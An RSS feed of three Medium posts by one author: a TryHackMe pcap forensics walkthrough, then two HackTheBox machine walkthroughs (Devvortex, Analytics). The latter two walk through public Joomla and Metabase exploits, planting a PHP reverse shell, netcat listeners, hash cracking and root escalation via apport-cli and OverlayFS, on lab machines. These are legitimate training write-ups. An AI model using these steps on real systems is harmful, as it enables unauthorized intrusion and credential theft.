<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dimitris Manolaras on Medium]]></title>
        <description><![CDATA[Stories by Dimitris Manolaras on Medium]]></description>
        <link>https://medium.com/@manolarasd?source=rss-691381b78b65------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*lKBpSZk_LQs2lSv6</url>
            <title>Stories by Dimitris Manolaras on Medium</title>
            <link>https://medium.com/@manolarasd?source=rss-691381b78b65------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:13:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@manolarasd/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THM — Security Footage]]></title>
            <link>https://medium.com/@manolarasd/thm-security-footage-7635e9640000?source=rss-691381b78b65------2</link>
            <guid isPermaLink="false">https://medium.com/p/7635e9640000</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Dimitris Manolaras]]></dc:creator>
            <pubDate>Mon, 12 May 2025 13:53:43 GMT</pubDate>
            <atom:updated>2025-05-26T10:06:00.116Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Security Footage — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*jbDmSfHzztE8gd-rPfC6ig.png" /></figure><p><a href="https://tryhackme.com/room/securityfootage">TryHackMe | Security Footage</a></p><p>Download and open the .pcap file with WireShark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sgV_W35rv6Cc16pPCdILsQ.png" /></figure><p>Click on the packet #2.</p><p>we can see that the source port is 8081</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*peex2PMCHNRVYW3ihpdzAQ.png" /></figure><p>apply the following filter on wireshark</p><pre><strong>http &amp;&amp; tcp.port == 8081</strong></pre><p>there is only 1 http packet as a result, which is perfectly normal for video streams</p><p>right-click on that packet, and “Follow TCP stream”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*So0PuaJOHbizrxuvhrGlYA.png" /></figure><p>A new window will pop-up.</p><p>Let it load for a couple of minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0u64Kiz_TtidxYle7fsCw.png" /><figcaption>ASCII output of the TCP Stream</figcaption></figure><p>A classic example of an <strong>MJPEG video stream</strong> (served over HTTP with multipart/x-mixed-replace content type). The images (frames) are individual <strong>JPEG </strong>files separated by boundaries.</p><p>When all the packets has been analyzed in the TCP Stream, select “Show as: Raw” and save the stream by pressing “Save As”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jtsje7knusXdHovQmpAMQw.png" /><figcaption>mjpeg_stream.raw</figcaption></figure><p>with the help of <strong>SKYNET</strong>, created a python script that extracts the JPEG files from the .raw and saves them in a new folder (forensic_frames)</p><pre>#extract_mjpeg_stream.py<br>import os<br><br>def forensic_jpeg_carver(file_path, output_dir=&quot;forensic_frames&quot;):<br>    os.makedirs(output_dir, exist_ok=True)<br><br>    with open(file_path, &#39;rb&#39;) as f:<br>        data = f.read()<br><br>    start_marker = b&#39;\xff\xd8&#39;  # JPEG start<br>    end_marker = b&#39;\xff\xd9&#39;    # JPEG end<br><br>    count = 0<br>    offset = 0<br>    data_len = len(data)<br><br>    print(f&quot;Scanning {data_len} bytes for JPEGs...&quot;)<br><br>    while offset &lt; data_len:<br>        start_idx = data.find(start_marker, offset)<br>        if start_idx == -1:<br>            break<br><br>        end_idx = data.find(end_marker, start_idx)<br>        if end_idx == -1:<br>            # If no end marker, likely damaged JPEG; skip this one<br>            offset = start_idx + 2<br>            continue<br><br>        end_idx += 2  # include end marker<br>        jpeg_data = data[start_idx:end_idx]<br><br>        # Sanity check: valid size range for typical MJPEG frames<br>        if 500 &lt; len(jpeg_data) &lt; 500000:<br>            output_file = os.path.join(output_dir, f&quot;frame_{count:04d}.jpg&quot;)<br>            with open(output_file, &#39;wb&#39;) as img_file:<br>                img_file.write(jpeg_data)<br>            print(f&quot;Recovered {output_file} ({len(jpeg_data)} bytes)&quot;)<br>            count += 1<br><br>        # Move past this frame<br>        offset = end_idx<br><br>    print(f&quot;\nDone! Recovered {count} frames to &#39;{output_dir}&#39; folder.&quot;)<br><br># Example usage<br>forensic_jpeg_carver(&quot;mjpeg_stream.raw&quot;)</pre><p>save the <strong>extract_mjpeg_stream.py </strong>and the <strong>mjpeg_stream.raw</strong> in the same folder and run the script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*xln1gq6fmooWFzUcderXYw.png" /></figure><p>the script successfully extracted 507 JPEG files from the .raw</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8IWlNfe2AGs6fuaOTsOKqw.png" /></figure><p>using the <strong>ffmpeg</strong> tool, we can “stitch” all those frames together to create the video file</p><pre>ffmpeg -framerate 25 -i frame_%04d.jpg -c:v libx264 -pix_fmt yuv420p output.mp4</pre><p>playing the <strong>output.mp4</strong>, we get the video containing the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*AKVNgqb-PtBNQzArJtLVMw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7635e9640000" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: “Devvortex” walkthrough]]></title>
            <link>https://medium.com/@manolarasd/htb-devvortex-walkthrough-c7622e1f5857?source=rss-691381b78b65------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7622e1f5857</guid>
            <dc:creator><![CDATA[Dimitris Manolaras]]></dc:creator>
            <pubDate>Sat, 02 Dec 2023 12:08:57 GMT</pubDate>
            <atom:updated>2024-01-03T06:43:15.435Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="https://app.hackthebox.com/machines/577" src="https://cdn-images-1.medium.com/max/422/1*uS0sVVihnEyHw_vtxiWU8A.png" /><figcaption><a href="https://app.hackthebox.com/machines/577">Hack The Box :: Hack The Box</a></figcaption></figure><p>Let’s start by enumerating the open ports for this machine.</p><pre>nmap -p- 10.10.11.242 --min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Nu7iDS5i8XEu1W1qpVNjGw.png" /><figcaption>open ports 22 and 80</figcaption></figure><p>Enumerate the services on these ports and the OS of the web server</p><pre>sudo nmap -p 22,80 -sV -O 10.10.11.242 --min-rate 10000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*g85FsMO5jloldqQ9ALKZEg.png" /></figure><p>Ok! Now, let&#39;s visit the webpage!</p><p>Opening a browser and navigating to 10.10.11.242 we are getting redirected to devvortex.htb. <br>Let’s add devortex.htb to our hosts list and refresh the page</p><pre>echo &quot;10.10.11.242 devvortex.htb&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*1NF7LvshVWh1DU9vUBPV4Q.png" /></figure><p>enumerate vhosts (subdomains) -if any- with GoBuster</p><pre>gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u devvortex.htb -t 50</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*8gWF00ZUlFfeJLT6Sqbp8Q.png" /><figcaption>dev.devortexx.htb</figcaption></figure><p>As soon as we lunch GoBuster, we find the <strong>dev.devvortex.htb! <br></strong>Add this entry in /etc/hosts</p><pre>echo &quot;10.10.11.242 dev.devvortex.htb&quot; | sudo tee -a /etc/hosts</pre><p>Let’s enumerate the directories in both known subdomains</p><pre>feroxbuster -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100<br>feroxbuster -u http://dev.devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*QK_nzwUgh_ga_3gEzegOTQ.png" /><figcaption>devvortex.htb</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*Eg36kAsxg9hQX147oexvYg.png" /><figcaption>dev.devvortex.htb</figcaption></figure><p>Unlike devvortex.htb directories, <strong>dev.devvortex.htb/administrator</strong> seems to be interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*UWSRn5aZgr0sSiuAGlrDBg.png" /><figcaption>Bingo!</figcaption></figure><p>Since there are no information about the version or any known credentials, I will browse <a href="https://book.hacktricks.xyz/">https://book.hacktricks.xyz</a> to check for known enumeration steps</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*KPk3sqWXFFXxkJlSKg057w.png" /><figcaption>/administrator/manifests/files/joomla.xml</figcaption></figure><p>browsing the <a href="http://dev.devvortex.htb/administrator/manifests/files/joomla.xml">http://dev.devvortex.htb/administrator/manifests/files/joomla.xml</a> as hacktricks suggested, we find see the version of this joomla! installation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*FC_VaZS9xgBQdnah3mFl8Q.png" /><figcaption>joomla version 4.2.6</figcaption></figure><p>time to check for known exploits</p><p>google → joomla version 4.2.6</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*Sfhgz73Br2kF7em_yqRjwA.png" /><figcaption><a href="https://github.com/Acceis/exploit-CVE-2023-23752">https://github.com/Acceis/exploit-CVE-2023-23752</a></figcaption></figure><p>download the exploit</p><pre>git clone https://github.com/Acceis/exploit-CVE-2023-23752</pre><p>navigate to the downloaded folder and run the exploit</p><pre>ruby exploit.rb http://dev.devvortex.htb</pre><p>running the exploit, we get the following error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*RnbWgNWJtWl-_XdSdGdEWw.png" /></figure><p>after intensive googling, the solutions came by installing the <strong>httpx</strong>, <strong>docopt</strong>, and <strong>paint </strong>gems</p><pre>sudo gem install httpx docopt paint</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*mlY1WbQ17PX4LKNUeK_EWA.png" /></figure><p>executing again the exploit, it finally goes through</p><pre>ruby exploit.rb http://dev.devvortex.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*D5kNFptiLUu728CytMebyg.png" /></figure><p>Under the “Database info” there are some useful information about the database, AND “<strong>lewis</strong>” credentials as well!<br>DB type: <strong>mysql</strong><br>DB name: <strong>joomla</strong><br>DB user: <strong>lewis</strong><br>DB password: *redacted*<br>let&#39;s try these credentials to access the joomla! website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEylfH0p9yhwIrLr5rhsdQ.png" /><figcaption>bingo!</figcaption></figure><p>let&#39;s upload our PHP reverse shell!</p><p>GoTo → System → Site Templates</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*jnBWwcxgnV07Ea3am1h1_A.png" /></figure><p>select “Cassiopeia Details and files”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*wDOQlR7CmxMzyNxtDQiDng.png" /></figure><p>Select any “.php” file. I’ve selected to upload my payload into the “error.php” file</p><p>go to <a href="https://www.revshells.com/">https://www.revshells.com/</a> and generate a PHP Pentestmonkey reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcB_Le4jJCLcRDX6wCpj6w.png" /><figcaption>IP = attackers IP, Port = attackers Port</figcaption></figure><p>copy the payload into the “.php” page and press “<strong>Save &amp; Close</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1t6GuwhyOkcmylGCQv52dw.png" /></figure><p>Now, back to the terminal and start a listener</p><pre>nc -lvnp 1337</pre><p>navigate to <a href="http://dev.devvortex.htb/administrator/error.php">http://dev.devvortex.htb/administrator/error.php</a> and see the magic happening!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*NJOCSGi6vpgsQy7_kqL__w.png" /><figcaption>we got a shell!</figcaption></figure><p>Check the <strong>/home</strong> folder for other user folders</p><pre>ls -alh /home</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*5xhITke2asB2QN4uIgLerQ.png" /><figcaption>logan</figcaption></figure><p>running the data exfiltration ruby script, revealed a mysql database AND a “logan” user!!!<br>Let&#39;s connect to the database with “lewis” credentials</p><pre>mysql -u lewis -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*EjljUF5wJ9HkEf_DJj70HQ.png" /></figure><pre>show databases;<br>use joomla<br>show tables;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*HfmSuS4DtDQLyYIV-c_aBA.png" /></figure><p>looking through the tables, <strong>sd4fg_users </strong>stands out. Let’s browse it</p><pre>select * from sd4fg_users;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*t40kiK8JpqFuZUEZdPABLw.png" /></figure><p>copy Logan’s password hash, save it into a file, pass it to John along with “rockyou.txt” wordlist, and let him do his magic</p><pre>john [hash file] --wordlist=[path of &quot;rockyou.txt&quot;]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*ubcI7lsFoBy3LYHZKAUzzg.png" /><figcaption>John never disappoints</figcaption></figure><p>John returned <strong>Logan</strong>’s password from the extracted hash!<br>Try to SSH with Logan’s credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Mvdva5uzWXcLvxRg8nzLyQ.png" /><figcaption>ssh logan@10.10.11.242</figcaption></figure><p>Successfully logged in as Logan.<br>Read the user flag from Logan’s home folder</p><pre>cat /home/logan/user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*hJNp5jfP40Cvm7g9NBGK9A.png" /></figure><p><strong>We got the user flag!</strong><br>It’s time to escalate our privileges and read the root flag. <br>Let’s “<strong>sudo -l</strong>” to check if there is anything that we can run as superuser</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*hiLhMS5kTPt6Ke7ih-w7sg.png" /><figcaption>/usr/bin/apport-cli</figcaption></figure><p>google → apport-cli privilege escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*PUoD78x4I2z_Kxtd8G_5cQ.png" /><figcaption><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1326#:~:text=Description,local%20attacker%20can%20escalate%20privilege.">NVD — CVE-2023–1326 (nist.gov)</a></figcaption></figure><p>At the “<strong>References to Advisories, Solutions, and Tools</strong>” section of the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-1326#:~:text=Description,local%20attacker%20can%20escalate%20privilege.">NVD — CVE-2023–1326 (nist.gov)</a>, there is a GitHub link marked as <strong>“patch”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X6pf4_XLUdl2ksHaAzkrPw.png" /><figcaption><a href="https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb">fix: Do not run sensible-pager as root if using sudo/pkexec · canonical/apport@e5f78cc · GitHub</a></figcaption></figure><p>Click on it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*4xpJY7KjuV2YmlkRw4eEWw.png" /></figure><p>Information in the<strong> </strong><a href="https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb"><strong>patch link</strong></a> is pretty straight forward.<br>We need to generate and read a report through apport-cli with elevated privileges, and while into the report viewer, we can run commands while maintaining the elevated privileges!</p><p>Back to the terminal!<br>Run “<strong>sudo /usr/bin/apport-cli -h</strong>” to get the help prompt of the apport-cli, and “<strong>sudo /usr/bin/apport-cli -v</strong>” to get the version of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*ByxysaAAjWx4hM7_5sRgDg.png" /><figcaption>version &lt; 2.26</figcaption></figure><p>Ok! Exploit applies to this version! Let’s do it!</p><p>First, we need to find a PID for which we will generate a report. Choose a random one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*QBOKQcJo2BYdh6cfHu_Zzw.png" /><figcaption>16 seems fine</figcaption></figure><p>Let&#39;s generate a report with “-f 16” flag</p><pre>sudo /usr/bin/apport-cli -f 16</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*8ITkbJb-8lbyzNvbOK8D4A.png" /></figure><p>press “<strong>V</strong>” on the menu to view the report<br>like the fix on the GitHub suggested, try to execute the “<strong>id</strong>” command while you are into the report viewer, by hitting “<strong>!</strong>” and then “<strong>id</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*4CZoPexx5PzmRZssCtDQIw.png" /></figure><p>“<strong>id</strong>” executed as root!!!</p><p>Hit the Esc button to get back in the report viewer again!<br>Since we were able to execute “<strong>id</strong>” as root, let&#39;s try executing “<strong>cat</strong>” as root</p><p>while in the report viewer, hit “<strong>!</strong>” and then “<strong>cat /root/root.txt</strong>” and press ENTER</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*-zFs38cPLaacmbQlfEqXCw.png" /></figure><p>And there we have it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*Wz95Vmvb30JmkImxKcJkkg.png" /><figcaption>root flag string!!!</figcaption></figure><p>Successfully retrieved the root-flag string!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*lW-bE4UmjK3XOvqaoLVWKA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7622e1f5857" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: “Analytics” walkthrough]]></title>
            <link>https://medium.com/@manolarasd/htb-analytics-box-6291a9794183?source=rss-691381b78b65------2</link>
            <guid isPermaLink="false">https://medium.com/p/6291a9794183</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Dimitris Manolaras]]></dc:creator>
            <pubDate>Tue, 28 Nov 2023 09:10:56 GMT</pubDate>
            <atom:updated>2023-11-30T14:11:17.004Z</atom:updated>
            <content:encoded><![CDATA[<p>open BurpSuite</p><p>Proxy → intercept → Open Browser</p><p>navigate to 10.10.11.233 → returns analytical.htb</p><p>open terminal</p><pre>echo &quot;10.10.11.233 analytical.htb&quot; | sudo tee -a /etc/hosts</pre><p>refresh the page → we can now access the webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pc4vyRtIGmf2Nncp5HNcAw.png" /></figure><p>press → login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*VD2uvVIL4A5yU4uU6TjZUw.png" /></figure><p>GoTo terminal</p><pre>echo &quot;10.10.11.233 data.analytical.htb&quot; | sudo tee -a /etc/hosts</pre><p>refresh the webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*oiSyRBzWEov432H1uCucFw.png" /></figure><p><strong>directory scan</strong></p><pre>feroxbuster -u http://analytical.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -n</pre><p>nothing interesting</p><p><strong>port &amp; service scan</strong></p><pre>nmap -A analytical.htb <br>Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 22:13 EEST<br>Nmap scan report for analytical.htb (10.10.11.233)<br>Host is up (0.055s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Analytical<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>nothing interesting.</p><p><strong>Virtual host scan (subdomains)</strong></p><pre>gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u analytical.htb -t 50</pre><p>data.analytical.com → already known subdomain</p><p>google.com → Metabase exploit</p><p>there is a RCE with CVSS score of 9.8</p><p><a href="https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/">Chaining our way to Pre-Auth RCE in Metabase (CVE-2023–38646) — Assetnote</a></p><p>reading more about Metabase RCE, 2 things stand out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*PokXEqx9D4ioXlj5-4d5AQ.png" /></figure><ol><li><strong>/api/session/properties</strong></li><li><strong>setup-token</strong></li></ol><p>back to BurbSuite<br>proxy → HTTP history → /api/session/properties<br>GoTo “Response” windows and search for “token”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQ5G9YlTzF3sexDz5Q5dVA.png" /><figcaption>“setup-token”:”249fa03d-fd94–4d5b-b94f-b4ebf3df681f”</figcaption></figure><p>At the end of the page, there is the POST request payload to obtain the RCE.</p><p>Copy the payload to BurpSuite → Repeater</p><p>add to “Content-Type: application/JSON” to HTTP header<br>Change the “Setup-token” with my token<br>Change the base64 string to match my listener (use <a href="https://www.revshells.com/">Online — Reverse Shell Generator (revshells.com)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HYRtqB1VD5-pV68z8U4gA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*S1iPUHS3lRxZFJLZmXWD_g.png" /><figcaption>initial payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*WPI-uR5FeA8YmYuBoIqdKA.png" /><figcaption>modified payload to match my data</figcaption></figure><p>GoTo terminal and start a listener</p><pre>nc -lvpn 9998</pre><p>send the payload!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*ECmDuYi35VEUoL97lHkPXg.png" /><figcaption>RCE</figcaption></figure><p>upload linpeas.sh to the target</p><p>give permissions and execute linpeas.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*15nZO4Twtba59azAhjTmEA.png" /><figcaption>credentials! metalytics : An4lytics_ds20223#</figcaption></figure><p>checking the environmental variables, we can retrieve some creds.</p><p>Try to log in with these creds.</p><pre>ssh metalytics@10.10.11.233</pre><p>Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*L6dW5AW_IuI6f4QTzvOVhw.png" /></figure><p>Read the user.txt flag</p><pre>cat user.txt</pre><p>run linpeas.sh this time as user metalytics</p><p>nothing useful</p><pre>uname -a<br>Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux</pre><p>google.com → ubuntu 22.04 vulnerabilities</p><p><a href="https://www.tenable.com/plugins/nessus/178946">Ubuntu 22.04 LTS : Linux kernel vulnerabilities (USN-6260–1) | Tenable®</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*fn2QrCol-brJD_sAmtqRsw.png" /></figure><p>cannot find a working exploit</p><p>google.com → overlayfs privilege escalation exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*PM_gslx8Y4rcMLmszYy2gw.png" /><figcaption><a href="https://systemweakness.com/cve-2021-3493-overlayfs-privilege-escalation-51ba49c3255c">CVE-2021–3493 — OverlayFS — Privilege Escalation | by Emin Skrijelj | System Weakness</a></figcaption></figure><p>after the exploit analysis, there is a PoC . follow the steps</p><pre>git clone https://github.com/briskets/CVE-2021-3493<br>cd CVE-2021-3943<br>gcc exploit.c -o exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*RajoErpDOpxoUXjEsAAf8g.png" /></figure><p>move the exploit to the victim machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*j3IokF0GVeQIJ6LHDSSHLQ.png" /><figcaption>Start a HTTP server on your system</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*twjWRT7Hi7-qwveLO5TXGQ.png" /><figcaption>Download the exploit to the victim machine</figcaption></figure><p>give execute permissions to “exploit”</p><p>run the exploit</p><p>root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*RJG93e2X_T2vrANLq7a0lA.png" /></figure><p>Read the root flat</p><pre>cat /root/root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6291a9794183" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>